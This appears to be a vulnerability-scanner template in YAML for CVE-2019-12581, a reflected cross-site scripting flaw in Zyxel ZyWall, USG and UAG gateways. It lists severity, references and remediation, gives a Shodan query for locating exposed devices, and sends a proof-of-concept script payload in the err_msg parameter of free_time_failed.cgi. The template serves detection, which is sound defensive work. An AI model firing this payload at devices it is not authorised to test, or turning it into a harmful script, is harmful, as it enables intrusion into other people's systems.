id: CVE-2019-12581

info:
  name: Zyxel ZyWal/USG/UAG Devices - Cross-Site Scripting
  author: n-thumann
  severity: medium
  description: Zyxel ZyWall, USG, and UAG devices allow remote attackers to inject arbitrary web script or HTML via the err_msg parameter free_time_failed.cgi CGI program, aka reflective cross-site scripting.
  remediation: |
    Apply the latest firmware update provided by Zyxel to fix the XSS vulnerability.
  reference:
    - https://www.zyxel.com/support/vulnerabilities-related-to-the-Free-Time-feature.shtml
    - https://sec-consult.com/vulnerability-lab/advisory/reflected-cross-site-scripting-in-zxel-zywall/
    - https://n-thumann.de/blog/zyxel-gateways-missing-access-control-in-account-generator-xss/
    - https://nvd.nist.gov/vuln/detail/CVE-2019-12581
    - https://www.zyxel.com/us/en/
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2019-12581
    cwe-id: CWE-79
    epss-score: 0.00642
    epss-percentile: 0.77003
    cpe: cpe:2.3:o:zyxel:uag2100_firmware:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: zyxel
    product: uag2100_firmware
    shodan-query: http.title:"ZyWall"
  tags: cve,cve2019,zyxel,zywall,xss

http:
  - method: GET
    path:
      - "{{BaseURL}}/free_time_failed.cgi?err_msg=<script>alert(document.domain);</script>"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<script>alert(document.domain);</script>"
          - "Please contact with administrator."
        condition: and

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200

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